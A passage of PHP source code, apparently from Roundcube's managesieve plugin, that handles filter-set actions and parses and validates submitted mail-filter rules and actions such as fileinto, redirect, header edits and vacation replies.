                    $result = $this->sieve->script->update_rule($fid, $rule);

                    if ($result !== false) {
                        $result = $this->save_script();
                    }

                    if ($result === true) {
                        if ($rule['disabled']) {
                            $this->rc->output->show_message('managesieve.deactivated', 'confirmation');
                        }
                        else {
                            $this->rc->output->show_message('managesieve.activated', 'confirmation');
                        }
                        $this->rc->output->command('managesieve_updatelist', 'update',
                            ['id' => $fid, 'disabled' => $rule['disabled']]);
                    }
                    else {
                        if ($rule['disabled']) {
                            $this->rc->output->show_message('managesieve.deactivateerror', 'error');
                        }
                        else {
                            $this->rc->output->show_message('managesieve.activateerror', 'error');
                        }
                    }
                }
            }
            else if ($action == 'setact' && !$error) {
                if (!in_array('enable_disable_set', $this->disabled_actions)) {
                    $script_name = rcube_utils::get_input_string('_set', rcube_utils::INPUT_POST, true);
                    $result      = $this->activate_script($script_name);
                    $kep14       = $this->rc->config->get('managesieve_kolab_master');

                    if ($result === true) {
                        $this->rc->output->set_env('active_sets', $this->active);
                        $this->rc->output->show_message('managesieve.setactivated', 'confirmation');
                        $this->rc->output->command('managesieve_updatelist', 'setact',
                            ['name' => $script_name, 'active' => true, 'all' => !$kep14]);
                    }
                    else {
                        $this->rc->output->show_message('managesieve.setactivateerror', 'error');
                    }
                }
                else {
                    $this->rc->output->show_message('managesieve.disabledaction', 'error');
                }
            }
            else if ($action == 'deact' && !$error) {
                if (!in_array('enable_disable_set', $this->disabled_actions)) {
                    $script_name = rcube_utils::get_input_string('_set', rcube_utils::INPUT_POST, true);
                    $result      = $this->deactivate_script($script_name);

                    if ($result === true) {
                        $this->rc->output->set_env('active_sets', $this->active);
                        $this->rc->output->show_message('managesieve.setdeactivated', 'confirmation');
                        $this->rc->output->command('managesieve_updatelist', 'setact',
                            ['name' => $script_name, 'active' => false]);
                    }
                    else {
                        $this->rc->output->show_message('managesieve.setdeactivateerror', 'error');
                    }
                }
                else {
                    $this->rc->output->show_message('managesieve.disabledaction', 'error');
                }
            }
            else if ($action == 'setdel' && !$error) {
                if (!in_array('delete_set', $this->disabled_actions)) {
                    $script_name = rcube_utils::get_input_string('_set', rcube_utils::INPUT_POST, true);
                    $result      = $this->remove_script($script_name);

                    if ($result === true) {
                        $this->rc->output->show_message('managesieve.setdeleted', 'confirmation');
                        $this->rc->output->command('managesieve_updatelist', 'setdel', ['name' => $script_name]);
                        $this->rc->session->remove('managesieve_current');
                    }
                    else {
                        $this->rc->output->show_message('managesieve.setdeleteerror', 'error');
                    }
                }
                else {
                    $this->rc->output->show_message('managesieve.disabledaction', 'error');
                }
            }
            else if ($action == 'setget') {
                if (!in_array('download_set', $this->disabled_actions)) {
                    $this->rc->request_security_check(rcube_utils::INPUT_GET);

                    $script_name = rcube_utils::get_input_string('_set', rcube_utils::INPUT_GPC, true);
                    $script      = $this->sieve->get_script($script_name);

                    if ($script !== false) {
                        $this->rc->output->download_headers($script_name . '.txt', ['length' => strlen($script)]);
                        echo $script;
                    }

                    exit;
                }
            }
            else if ($action == 'list') {
                $result = $this->list_rules();

                $this->rc->output->command('managesieve_updatelist', 'list', ['list' => $result]);
            }
            else if ($action == 'ruleadd') {
                $rid = rcube_utils::get_input_string('_rid', rcube_utils::INPUT_POST);
                $id  = $this->genid();
                $content = $this->rule_div($fid, $id, false, !empty($_SESSION['managesieve-compact-form']));

                $this->rc->output->command('managesieve_rulefill', $content, $id, $rid);
            }
            else if ($action == 'actionadd') {
                $aid = rcube_utils::get_input_string('_aid', rcube_utils::INPUT_POST);
                $id  = $this->genid();
                $content = $this->action_div($fid, $id, false);

                $this->rc->output->command('managesieve_actionfill', $content, $id, $aid);
            }
            else if ($action == 'addresses') {
                $aid = rcube_utils::get_input_string('_aid', rcube_utils::INPUT_POST);

                $this->rc->output->command('managesieve_vacation_addresses_update', $aid, $this->user_emails());
            }

            $this->rc->output->send();
        }
        else if ($this->rc->task == 'mail') {
            // Initialize the form
            $rules = rcube_utils::get_input_value('r', rcube_utils::INPUT_GET);
            if (!empty($rules)) {
                $tests = [];
                foreach ($rules as $rule) {
                    list($header, $value) = explode(':', $rule, 2);
                    $tests[] = [
                        'type' => 'contains',
                        'test' => 'header',
                        'arg1' => $header,
                        'arg2' => $value,
                    ];
                }

                $this->form = [
                    'join'  => count($tests) > 1 ? 'allof' : 'anyof',
                    'name'  => '',
                    'tests' => $tests,
                    'actions' => [
                        ['type' => 'fileinto'],
                        ['type' => 'stop'],
                    ],
                ];
            }
        }

        $this->send();
    }

    function saveraw()
    {
        // Init plugin and handle managesieve connection
        $error = $this->start();

        $script_name = rcube_utils::get_input_string('_set', rcube_utils::INPUT_POST);

        $result = $this->sieve->save_script($script_name, $_POST['rawsetcontent']);

        if ($result === false) {
            $this->rc->output->show_message('managesieve.filtersaveerror', 'error');
            $errorLines = $this->sieve->get_error_lines();
            if (count($errorLines) > 0) {
                $this->rc->output->set_env("sieve_errors", $errorLines);
            }
        }
        else {
            $this->rc->output->show_message('managesieve.setupdated', 'confirmation');
            $this->rc->output->command('parent.managesieve_updatelist', 'refresh');
        }

        $this->send();
    }

    function save()
    {
        // Init plugin and handle managesieve connection
        $error = $this->start();

        // get request size limits (#1488648)
        $max_post = max([
                ini_get('max_input_vars'),
                ini_get('suhosin.request.max_vars'),
                ini_get('suhosin.post.max_vars'),
        ]);
        $max_depth = max([
                ini_get('suhosin.request.max_array_depth'),
                ini_get('suhosin.post.max_array_depth'),
        ]);

        // check request size limit
        if ($max_post && count($_POST, COUNT_RECURSIVE) >= $max_post) {
            rcube::raise_error([
                    'code' => 500, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Request size limit exceeded (one of max_input_vars/suhosin.request.max_vars/suhosin.post.max_vars)"
                ], true, false
            );
            $this->rc->output->show_message('managesieve.filtersaveerror', 'error');
        }
        // check request depth limits
        else if ($max_depth && count($_POST['_header']) > $max_depth) {
            rcube::raise_error([
                    'code' => 500, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Request size limit exceeded (one of suhosin.request.max_array_depth/suhosin.post.max_array_depth)"
                ], true, false
            );
            $this->rc->output->show_message('managesieve.filtersaveerror', 'error');
        }
        // filters set add action
        else if (!empty($_POST['_newset'])) {
            $name       = rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST, true);
            $copy       = rcube_utils::get_input_string('_copy', rcube_utils::INPUT_POST, true);
            $from       = rcube_utils::get_input_string('_from', rcube_utils::INPUT_POST);
            $exceptions = $this->rc->config->get('managesieve_filename_exceptions');
            $kolab      = $this->rc->config->get('managesieve_kolab_master');
            $name_uc    = mb_strtolower($name);
            $list       = $this->list_scripts();

            if (in_array('new_set', $this->disabled_actions)) {
                $error = 'managesieve.disabledaction';
            }
            else if (!$name) {
                $this->errors['name'] = $this->plugin->gettext('cannotbeempty');
            }
            else if (mb_strlen($name) > 128) {
                $this->errors['name'] = $this->plugin->gettext('nametoolong');
            }
            else if (!empty($exceptions) && in_array($name, (array)$exceptions)) {
                $this->errors['name'] = $this->plugin->gettext('namereserved');
            }
            else if (!empty($kolab) && in_array($name_uc, ['MASTER', 'USER', 'MANAGEMENT'])) {
                $this->errors['name'] = $this->plugin->gettext('namereserved');
            }
            else if (in_array($name, $list)) {
                $this->errors['name'] = $this->plugin->gettext('setexist');
            }
            else if ($from == 'file') {
                // from file
                if (is_uploaded_file($_FILES['_file']['tmp_name'])) {
                    $file = file_get_contents($_FILES['_file']['tmp_name']);
                    $file = preg_replace('/\r/', '', $file);
                    // for security don't save script directly
                    // check syntax before, like this...
                    $this->sieve->load_script($file);
                    if (!$this->save_script($name)) {
                        $this->errors['file'] = $this->plugin->gettext('setcreateerror');
                    }
                }
                else {
                    // upload failed
                    rcmail_action::upload_error($_FILES['_file']['error']);
                }
            }
            else if (!$this->sieve->copy($name, $from == 'set' ? $copy : '')) {
                $error = 'managesieve.setcreateerror';
            }

            if (!$error && empty($this->errors)) {
                // Find position of the new script on the list
                $list[] = $name;
                asort($list, SORT_LOCALE_STRING);
                $list  = array_values($list);
                $index = array_search($name, $list);

                $this->rc->output->show_message('managesieve.setcreated', 'confirmation');
                $this->rc->output->command('parent.managesieve_updatelist', 'setadd',
                    ['name' => $name, 'index' => $index]);
            }
            else if (!empty($msg)) {
                $this->rc->output->command('display_message', $msg, 'error');
            }
            else if ($error) {
                $this->rc->output->show_message($error, 'error');
            }
        }
        // filter add/edit action
        else if (isset($_POST['_name'])) {
            $name = trim(rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST, true));
            $fid  = trim(rcube_utils::get_input_string('_fid', rcube_utils::INPUT_POST));
            $join = trim(rcube_utils::get_input_string('_join', rcube_utils::INPUT_POST));

            // and arrays
            $headers        = rcube_utils::get_input_value('_header', rcube_utils::INPUT_POST);
            $cust_headers   = rcube_utils::get_input_value('_custom_header', rcube_utils::INPUT_POST);
            $cust_vars      = rcube_utils::get_input_value('_custom_var', rcube_utils::INPUT_POST);
            $ops            = rcube_utils::get_input_value('_rule_op', rcube_utils::INPUT_POST);
            $sizeops        = rcube_utils::get_input_value('_rule_size_op', rcube_utils::INPUT_POST);
            $sizeitems      = rcube_utils::get_input_value('_rule_size_item', rcube_utils::INPUT_POST);
            $sizetargets    = rcube_utils::get_input_value('_rule_size_target', rcube_utils::INPUT_POST);
            $spamtestops    = rcube_utils::get_input_value('_rule_spamtest_op', rcube_utils::INPUT_POST);
            $spamtesttargets = rcube_utils::get_input_value('_rule_spamtest_target', rcube_utils::INPUT_POST);
            $targets        = rcube_utils::get_input_value('_rule_target', rcube_utils::INPUT_POST, true);
            $mods           = rcube_utils::get_input_value('_rule_mod', rcube_utils::INPUT_POST);
            $mod_types      = rcube_utils::get_input_value('_rule_mod_type', rcube_utils::INPUT_POST);
            $body_trans     = rcube_utils::get_input_value('_rule_trans', rcube_utils::INPUT_POST);
            $body_types     = rcube_utils::get_input_value('_rule_trans_type', rcube_utils::INPUT_POST, true);
            $comparators    = rcube_utils::get_input_value('_rule_comp', rcube_utils::INPUT_POST);
            $indexes        = rcube_utils::get_input_value('_rule_index', rcube_utils::INPUT_POST);
            $lastindexes    = rcube_utils::get_input_value('_rule_index_last', rcube_utils::INPUT_POST);
            $dateheaders    = rcube_utils::get_input_value('_rule_date_header', rcube_utils::INPUT_POST);
            $dateparts      = rcube_utils::get_input_value('_rule_date_part', rcube_utils::INPUT_POST);
            $mime_parts     = rcube_utils::get_input_value('_rule_mime_part', rcube_utils::INPUT_POST);
            $mime_types     = rcube_utils::get_input_value('_rule_mime_type', rcube_utils::INPUT_POST);
            $mime_params    = rcube_utils::get_input_value('_rule_mime_param', rcube_utils::INPUT_POST, true);
            $message        = rcube_utils::get_input_value('_rule_message', rcube_utils::INPUT_POST);
            $dup_handles    = rcube_utils::get_input_value('_rule_duplicate_handle', rcube_utils::INPUT_POST, true);
            $dup_headers    = rcube_utils::get_input_value('_rule_duplicate_header', rcube_utils::INPUT_POST, true);
            $dup_uniqueids  = rcube_utils::get_input_value('_rule_duplicate_uniqueid', rcube_utils::INPUT_POST, true);
            $dup_seconds    = rcube_utils::get_input_value('_rule_duplicate_seconds', rcube_utils::INPUT_POST);
            $dup_lasts      = rcube_utils::get_input_value('_rule_duplicate_last', rcube_utils::INPUT_POST);
            $act_types      = rcube_utils::get_input_value('_action_type', rcube_utils::INPUT_POST, true);
            $mailboxes      = rcube_utils::get_input_value('_action_mailbox', rcube_utils::INPUT_POST, true);
            $act_targets    = rcube_utils::get_input_value('_action_target', rcube_utils::INPUT_POST, true);
            $domain_targets = rcube_utils::get_input_value('_action_target_domain', rcube_utils::INPUT_POST);
            $area_targets   = rcube_utils::get_input_value('_action_target_area', rcube_utils::INPUT_POST, true);
            $reasons        = rcube_utils::get_input_value('_action_reason', rcube_utils::INPUT_POST, true);
            $addresses      = rcube_utils::get_input_value('_action_addresses', rcube_utils::INPUT_POST, true);
            $intervals      = rcube_utils::get_input_value('_action_interval', rcube_utils::INPUT_POST);
            $interval_types = rcube_utils::get_input_value('_action_interval_type', rcube_utils::INPUT_POST);
            $from           = rcube_utils::get_input_value('_action_from', rcube_utils::INPUT_POST, true);
            $subject        = rcube_utils::get_input_value('_action_subject', rcube_utils::INPUT_POST, true);
            $flags          = rcube_utils::get_input_value('_action_flags', rcube_utils::INPUT_POST);
            $varnames       = rcube_utils::get_input_value('_action_varname', rcube_utils::INPUT_POST);
            $varvalues      = rcube_utils::get_input_value('_action_varvalue', rcube_utils::INPUT_POST);
            $varmods        = rcube_utils::get_input_value('_action_varmods', rcube_utils::INPUT_POST);
            $notifymethods  = rcube_utils::get_input_value('_action_notifymethod', rcube_utils::INPUT_POST);
            $notifytargets  = rcube_utils::get_input_value('_action_notifytarget', rcube_utils::INPUT_POST, true);
            $notifyoptions  = rcube_utils::get_input_value('_action_notifyoption', rcube_utils::INPUT_POST, true);
            $notifymessages = rcube_utils::get_input_value('_action_notifymessage', rcube_utils::INPUT_POST, true);
            $notifyfrom     = rcube_utils::get_input_value('_action_notifyfrom', rcube_utils::INPUT_POST, true);
            $notifyimp      = rcube_utils::get_input_value('_action_notifyimportance', rcube_utils::INPUT_POST);
            $addheader_name  = rcube_utils::get_input_value('_action_addheader_name', rcube_utils::INPUT_POST);
            $addheader_value = rcube_utils::get_input_value('_action_addheader_value', rcube_utils::INPUT_POST, true);
            $addheader_pos   = rcube_utils::get_input_value('_action_addheader_pos', rcube_utils::INPUT_POST);
            $delheader_name  = rcube_utils::get_input_value('_action_delheader_name', rcube_utils::INPUT_POST);
            $delheader_value = rcube_utils::get_input_value('_action_delheader_value', rcube_utils::INPUT_POST, true);
            $delheader_pos   = rcube_utils::get_input_value('_action_delheader_pos', rcube_utils::INPUT_POST);
            $delheader_index = rcube_utils::get_input_value('_action_delheader_index', rcube_utils::INPUT_POST);
            $delheader_op    = rcube_utils::get_input_value('_action_delheader_op', rcube_utils::INPUT_POST);
            $delheader_comp  = rcube_utils::get_input_value('_action_delheader_comp', rcube_utils::INPUT_POST);

            $this->form['disabled'] = empty($_POST['_enabled']);
            $this->form['join']     = $join == 'allof';
            $this->form['name']     = $name;
            $this->form['tests']    = [];
            $this->form['actions']  = [];

            if ($name == '') {
                $this->errors['name'] = $this->plugin->gettext('cannotbeempty');
            }
            else {
                foreach ($this->script as $idx => $rule)
                    if ($rule['name'] == $name && $idx != $fid) {
                        $this->errors['name'] = $this->plugin->gettext('ruleexist');
                        break;
                    }
            }

            $i = 0;
            // rules
            if ($join == 'any') {
                $this->form['tests'][0]['test'] = 'true';
            }
            else {
                foreach ($headers as $idx => $header) {
                    // targets are indexed differently (assume form order)
                    $target     = $this->strip_value($targets[$idx], true);
                    $header     = $this->strip_value($header);
                    $operator   = $this->strip_value($ops[$idx]);
                    $comparator = $this->strip_value($comparators[$idx]);

                    if ($header == 'size') {
                        $sizeop     = $this->strip_value($sizeops[$idx]);
                        $sizeitem   = $this->strip_value($sizeitems[$idx]);
                        $sizetarget = $this->strip_value($sizetargets[$idx]);

                        $this->form['tests'][$i]['test'] = 'size';
                        $this->form['tests'][$i]['type'] = $sizeop;
                        $this->form['tests'][$i]['arg']  = $sizetarget;

                        if ($sizetarget === '') {
                            $this->errors['tests'][$i]['sizetarget'] = $this->plugin->gettext('cannotbeempty');
                        }
                        else if (!preg_match('/^[0-9]+(K|M|G)?$/i', $sizetarget.$sizeitem, $m)) {
                            $this->errors['tests'][$i]['sizetarget'] = $this->plugin->gettext('forbiddenchars');
                            $this->form['tests'][$i]['item'] = $sizeitem;
                        }
                        else {
                            $this->form['tests'][$i]['arg'] .= $m[1];
                        }
                    }
                    else if ($header == 'spamtest') {
                        $spamtestop     = $this->strip_value($spamtestops[$idx]);
                        $spamtesttarget = $this->strip_value($spamtesttargets[$idx]);
                        $comparator     = 'i;ascii-numeric';

                        if (!$spamtestop) {
                            $spamtestop     = 'value-eq';
                            $spamtesttarget = '0';
                        }

                        $this->form['tests'][$i]['test'] = 'spamtest';
                        $this->form['tests'][$i]['type'] = $spamtestop;
                        $this->form['tests'][$i]['arg']  = $spamtesttarget;

                        if ($spamtesttarget === '') {
                            $this->errors['tests'][$i]['spamtesttarget'] = $this->plugin->gettext('cannotbeempty');
                        }
                        else if (!preg_match('/^([0-9]|10)$/i', $spamtesttarget)) {
                            $this->errors['tests'][$i]['spamtesttarget'] = $this->plugin->gettext('forbiddenchars');
                        }
                    }
                    else if ($header == 'currentdate') {
                        $datepart = $this->strip_value($dateparts[$idx]);
                        $type     = preg_replace('/^not/', '', $operator);

                        $this->form['tests'][$i]['test'] = 'currentdate';
                        $this->form['tests'][$i]['type'] = $type;
                        $this->form['tests'][$i]['part'] = $datepart;
                        $this->form['tests'][$i]['arg']  = $target;
                        $this->form['tests'][$i]['not']  = preg_match('/^not/', $operator) === 1;

                        if ($type == 'exists') {
                            $this->errors['tests'][$i]['op'] = true;
                        }

                        if ($type != 'exists') {
                            if (empty($target)) {
                                $this->errors['tests'][$i]['target'] = $this->plugin->gettext('cannotbeempty');
                            }
                            else if (strpos($type, 'count-') === 0) {
                                foreach ($target as $arg) {
                                    if (preg_match('/[^0-9]/', $arg)) {
                                        $this->errors['tests'][$i]['target'] = $this->plugin->gettext('forbiddenchars');
                                    }
                                }
                            }
                            else if (strpos($type, 'value-') === 0) {
                                // Some date/time formats do not support i;ascii-numeric comparator
                                if ($comparator == 'i;ascii-numeric' && in_array($datepart, ['date', 'time', 'iso8601', 'std11'])) {
                                    $comparator = '';
                                }
                            }

                            if (!preg_match('/^(regex|matches|count-)/', $type) && !empty($target)) {
                                foreach ($target as $arg) {
                                    if (!$this->validate_date_part($datepart, $arg)) {
                                        $this->errors['tests'][$i]['target'] = $this->plugin->gettext('invaliddateformat');
                                        break;
                                    }
                                }
                            }
                        }
                    }
                    else if ($header == 'date') {
                        $datepart    = $this->strip_value($dateparts[$idx]);
                        $dateheader  = $this->strip_value($dateheaders[$idx]);
                        $index       = $this->strip_value($indexes[$idx]);
                        $indexlast   = $this->strip_value(isset($lastindexes[$idx]) ? $lastindexes[$idx] : null);
                        $mod         = $this->strip_value($mods[$idx]);

                        $type = preg_replace('/^not/', '', $operator);

                        if ($type == 'exists') {
                            $this->errors['tests'][$i]['op'] = true;
                        }

                        if (!empty($index) && $mod != 'envelope') {
                            $this->form['tests'][$i]['index'] = intval($index);
                            $this->form['tests'][$i]['last']  = !empty($indexlast);
                        }

                        if (empty($dateheader)) {
                            $dateheader = 'Date';
                        }
                        else if (!preg_match('/^[\x21-\x39\x41-\x7E]+$/i', $dateheader)) {
                            $this->errors['tests'][$i]['dateheader'] = $this->plugin->gettext('forbiddenchars');
                        }

                        $this->form['tests'][$i]['test']   = 'date';
                        $this->form['tests'][$i]['type']   = $type;
                        $this->form['tests'][$i]['part']   = $datepart;
                        $this->form['tests'][$i]['arg']    = $target;
                        $this->form['tests'][$i]['header'] = $dateheader;
                        $this->form['tests'][$i]['not']    = preg_match('/^not/', $operator) === 1;

                        if ($type != 'exists') {
                            if (empty($target)) {
                                $this->errors['tests'][$i]['target'] = $this->plugin->gettext('cannotbeempty');
                            }
                            else if (strpos($type, 'count-') === 0) {
                                foreach ($target as $arg) {
                                    if (preg_match('/[^0-9]/', $arg)) {
                                        $this->errors['tests'][$i]['target'] = $this->plugin->gettext('forbiddenchars');
                                    }
                                }
                            }
                            else if (strpos($type, 'value-') === 0) {
                                // Some date/time formats do not support i;ascii-numeric comparator
                                if ($comparator == 'i;ascii-numeric' && in_array($datepart, ['date', 'time', 'iso8601', 'std11'])) {
                                    $comparator = '';
                                }
                            }

                            if (!empty($target) && !preg_match('/^(regex|matches|count-)/', $type)) {
                                foreach ($target as $arg) {
                                    if (!$this->validate_date_part($datepart, $arg)) {
                                        $this->errors['tests'][$i]['target'] = $this->plugin->gettext('invaliddateformat');
                                        break;
                                    }
                                }
                            }
                        }
                    }
                    else if ($header == 'body') {
                        $trans      = $this->strip_value($body_trans[$idx]);
                        $trans_type = $this->strip_value($body_types[$idx], true);
                        $type       = preg_replace('/^not/', '', $operator);

                        $this->form['tests'][$i]['test'] = 'body';
                        $this->form['tests'][$i]['type'] = $type;
                        $this->form['tests'][$i]['arg']  = $target;
                        $this->form['tests'][$i]['not']  = preg_match('/^not/', $operator) === 1;
                        $this->form['tests'][$i]['part'] = $trans;

                        if ($trans == 'content') {
                            $this->form['tests'][$i]['content'] = $trans_type;
                        }

                        if ($type == 'exists') {
                            $this->errors['tests'][$i]['op'] = true;
                        }

                        if (empty($target) && $type != 'exists') {
                            $this->errors['tests'][$i]['target'] = $this->plugin->gettext('cannotbeempty');
                        }
                        else if (preg_match('/^(value|count)-/', $type)) {
                            foreach ($target as $target_value) {
                                if (preg_match('/[^0-9]/', $target_value)) {
                                    $this->errors['tests'][$i]['target'] = $this->plugin->gettext('forbiddenchars');
                                }
                            }
                        }
                    }
                    else if ($header == 'message') {
                        $test = $this->strip_value($message[$idx]);

                        if (preg_match('/^not/', $test)) {
                            $this->form['tests'][$i]['not'] = true;
                            $test = substr($test, 3);
                        }

                        $this->form['tests'][$i]['test'] = $test;

                        if ($test == 'duplicate') {
                            $this->form['tests'][$i]['last']     = !empty($dup_lasts[$idx]);
                            $this->form['tests'][$i]['handle']   = trim($dup_handles[$idx]);
                            $this->form['tests'][$i]['header']   = trim($dup_headers[$idx]);
                            $this->form['tests'][$i]['uniqueid'] = trim($dup_uniqueids[$idx]);
                            $this->form['tests'][$i]['seconds']  = trim($dup_seconds[$idx]);

                            if ($this->form['tests'][$i]['seconds']
                                && preg_match('/[^0-9]/', $this->form['tests'][$i]['seconds'])
                            ) {
                                $this->errors['tests'][$i]['duplicate_seconds'] = $this->plugin->gettext('forbiddenchars');
                            }

                            if ($this->form['tests'][$i]['header'] && $this->form['tests'][$i]['uniqueid']) {
                                $this->errors['tests'][$i]['duplicate_uniqueid'] = $this->plugin->gettext('duplicate.conflict.err');
                            }
                        }
                    }
                    else {
                        $cust_header = $headers = $this->strip_value($cust_headers[$idx]);
                        $mod         = $this->strip_value($mods[$idx]);
                        $mod_type    = $this->strip_value($mod_types[$idx]);
                        $index       = isset($indexes[$idx]) ? $this->strip_value($indexes[$idx]) : null;
                        $indexlast   = isset($lastindexes[$idx]) ? $this->strip_value($lastindexes[$idx]) : null;
                        $mime_param  = isset($mime_params[$idx]) ? $this->strip_value($mime_params[$idx]) : null;
                        $mime_type   = $mime_types[$idx] ?? null;
                        $mime_part   = $mime_parts[$idx] ?? null;
                        $cust_var    = null;

                        if ($header == 'string') {
                            $cust_var = $headers = $this->strip_value($cust_vars[$idx]);
                        }

                        $this->form['tests'][$i]['not'] = preg_match('/^not/', $operator) === 1;

                        $type = preg_replace('/^not/', '', $operator);

                        if (!empty($index) && $mod != 'envelope') {
                            $this->form['tests'][$i]['index'] = intval($index);
                            $this->form['tests'][$i]['last']  = !empty($indexlast);
                        }

                        if ($header == '...' || $header == 'string') {
                            if (!count($headers)) {
                                $this->errors['tests'][$i]['header'] = $this->plugin->gettext('cannotbeempty');
                            }
                            else if ($header == '...') {
                                foreach ($headers as $hr) {
                                    // RFC2822: printable ASCII except colon
                                    if (!preg_match('/^[\x21-\x39\x41-\x7E]+$/i', $hr)) {
                                        $this->errors['tests'][$i]['header'] = $this->plugin->gettext('forbiddenchars');
                                    }
                                }
                            }

                            if (empty($this->errors['tests'][$i]['header'])) {
                                $cust_header = $cust_var = (is_array($headers) && count($headers) == 1) ? $headers[0] : $headers;
                            }
                        }

                        $test   = $header == 'string' ? 'string' : 'header';
                        $header = $header == 'string' ? $cust_var : $header;
                        $header = $header == '...' ? $cust_header : $header;

                        if (is_array($header)) {
                            foreach ($header as $h_index => $val) {
                                if (isset($this->headers[$val])) {
                                    $header[$h_index] = $this->headers[$val];
                                }
                            }
                        }

                        if ($type == 'exists') {
                            $this->form['tests'][$i]['test'] = 'exists';
                            $this->form['tests'][$i]['arg'] = $header;
                        }
                        else {
                            if ($mod == 'address' || $mod == 'envelope') {
                                $found = false;
                                if (empty($this->errors['tests'][$i]['header'])) {
                                    foreach ((array)$header as $hdr) {
                                        if (!in_array(strtolower(trim($hdr)), $this->addr_headers)) {
                                            $found = true;
                                        }
                                    }
                                }
                                if (!$found) {
                                    $test = $mod;
                                }
                            }

                            $this->form['tests'][$i]['type'] = $type;
                            $this->form['tests'][$i]['test'] = $test;
                            $this->form['tests'][$i]['arg1'] = $header;
                            $this->form['tests'][$i]['arg2'] = $target;

                            if (empty($target)) {
                                $this->errors['tests'][$i]['target'] = $this->plugin->gettext('cannotbeempty');
                            }
                            else if (preg_match('/^(value|count)-/', $type)) {
                                foreach ($target as $target_value) {
                                    if (preg_match('/[^0-9]/', $target_value)) {
                                        $this->errors['tests'][$i]['target'] = $this->plugin->gettext('forbiddenchars');
                                    }
                                }
                            }

                            if ($mod) {
                                $this->form['tests'][$i]['part'] = $mod_type;
                            }
                        }

                        if ($test == 'header') {
                            if (in_array($mime_type, ['type', 'subtype', 'contenttype', 'param'])) {
                                $this->form['tests'][$i]['mime-' . $mime_type] = true;
                                if ($mime_type == 'param') {
                                    if (empty($mime_param)) {
                                        $this->errors['tests'][$i]['mime-param'] = $this->plugin->gettext('cannotbeempty');
                                    }

                                    $this->form['tests'][$i]['mime-param'] = $mime_param;
                                }
                            }

                            if ($mime_part == 'anychild') {
                                $this->form['tests'][$i]['mime-anychild'] = true;
                            }
                        }
                    }

                    if ($header != 'size' && $comparator) {
                        $this->form['tests'][$i]['comparator'] = $comparator;
                    }

                    $i++;
                }
            }

            $i = 0;
            // actions
            foreach ($act_types as $idx => $type) {
                $type = $this->strip_value($type);

                switch ($type) {
                case 'fileinto':
                case 'fileinto_copy':
                    $mailbox = $this->strip_value($mailboxes[$idx], false, false);
                    $this->form['actions'][$i]['target'] = $this->mod_mailbox($mailbox, 'in');

                    if ($type == 'fileinto_copy') {
                        $type = 'fileinto';
                        $this->form['actions'][$i]['copy'] = true;
                    }
                    break;

                case 'reject':
                case 'ereject':
                    $target = $this->strip_value($area_targets[$idx]);
                    $this->form['actions'][$i]['target'] = str_replace("\r\n", "\n", $target);

 //                 if ($target == '')
//                      $this->errors['actions'][$i]['targetarea'] = $this->plugin->gettext('cannotbeempty');
                    break;

                case 'redirect':
                case 'redirect_copy':
                    $target = $this->strip_value($act_targets[$idx] ?? null);
                    $domain = $this->strip_value($domain_targets[$idx] ?? null);

                    // force one of the configured domains
                    $domains = (array) $this->rc->config->get('managesieve_domains');
                    if (!empty($domains) && !empty($target)) {
                        if (!$domain || !in_array($domain, $domains)) {
                            $domain = $domains[0];
                        }

                        $target .= '@' . $domain;
                    }

                    $this->form['actions'][$i]['target'] = $target;

                    if ($target === '') {
                        $this->errors['actions'][$i]['target'] = $this->plugin->gettext('cannotbeempty');
                    }
                    else if (!rcube_utils::check_email($target)) {
                        $this->errors['actions'][$i]['target'] = $this->plugin->gettext(!empty($domains) ? 'forbiddenchars' : 'noemailwarning');
                    }

                    if ($type == 'redirect_copy') {
                        $type = 'redirect';
                        $this->form['actions'][$i]['copy'] = true;
                    }

                    break;

                case 'addflag':
                case 'setflag':
                case 'removeflag':
                    $this->form['actions'][$i]['target'] = $this->strip_value($flags[$idx]);

                    if (empty($this->form['actions'][$i]['target'])) {
                        $this->errors['actions'][$i]['flag'] = $this->plugin->gettext('noflagset');
                    }

                    break;

                case 'addheader':
                case 'deleteheader':
                    $this->form['actions'][$i]['name']  = trim($type == 'addheader' ? $addheader_name[$idx] : $delheader_name[$idx]);
                    $this->form['actions'][$i]['value'] = $type == 'addheader' ? $addheader_value[$idx] : $delheader_value[$idx];
                    $this->form['actions'][$i]['last']  = ($type == 'addheader' ? $addheader_pos[$idx] : $delheader_pos[$idx]) == 'last';

                    if (empty($this->form['actions'][$i]['name'])) {
                        $this->errors['actions'][$i]['name'] = $this->plugin->gettext('cannotbeempty');
                    }
                    else if (!preg_match('/^[0-9a-z_-]+$/i', $this->form['actions'][$i]['name'])) {
                        $this->errors['actions'][$i]['name'] = $this->plugin->gettext('forbiddenchars');
                    }

                    if ($type == 'deleteheader') {
                        foreach ((array) $this->form['actions'][$i]['value'] as $pidx => $pattern) {
                            if (empty($pattern)) {
                                unset($this->form['actions'][$i]['value'][$pidx]);
                            }
                        }

                        $this->form['actions'][$i]['match-type'] = $delheader_op[$idx];
                        $this->form['actions'][$i]['comparator'] = $delheader_comp[$idx];
                        $this->form['actions'][$i]['index']      = $delheader_index[$idx];

                        if (empty($this->form['actions'][$i]['index'])) {
                            if (!empty($this->form['actions'][$i]['last'])) {
                                $this->errors['actions'][$i]['index'] = $this->plugin->gettext('lastindexempty');
                            }
                        }
                        else if (!preg_match('/^[0-9]+$/i', $this->form['actions'][$i]['index'])) {
                            $this->errors['actions'][$i]['index'] = $this->plugin->gettext('forbiddenchars');
                        }
                    }
                    else {
                        if (empty($this->form['actions'][$i]['value'])) {
                            $this->errors['actions'][$i]['value'] = $this->plugin->gettext('cannotbeempty');
                        }
                    }

                    break;

                case 'vacation':
                    $reason        = $this->strip_value($reasons[$idx], true);
                    $interval_type = $interval_types && $interval_types[$idx] == 'seconds' ? 'seconds' : 'days';

                    $this->form['actions'][$i]['reason']    = str_replace("\r\n", "\n", $reason);
                    $this->form['actions'][$i]['from']      = $from[$idx];
                    $this->form['actions'][$i]['subject']   = $subject[$idx];
                    $this->form['actions'][$i]['addresses'] = $addresses[$idx];
                    $this->form['actions'][$i][$interval_type] = $intervals[$idx];

                    // @TODO: vacation :mime, :handle

                    foreach ((array)$this->form['actions'][$i]['addresses'] as $aidx => $address) {
                        $this->form['actions'][$i]['addresses'][$aidx] = $address = trim($address);

                        if (empty($address)) {
                            unset($this->form['actions'][$i]['addresses'][$aidx]);
                        }
                        else if (!rcube_utils::check_email($address)) {
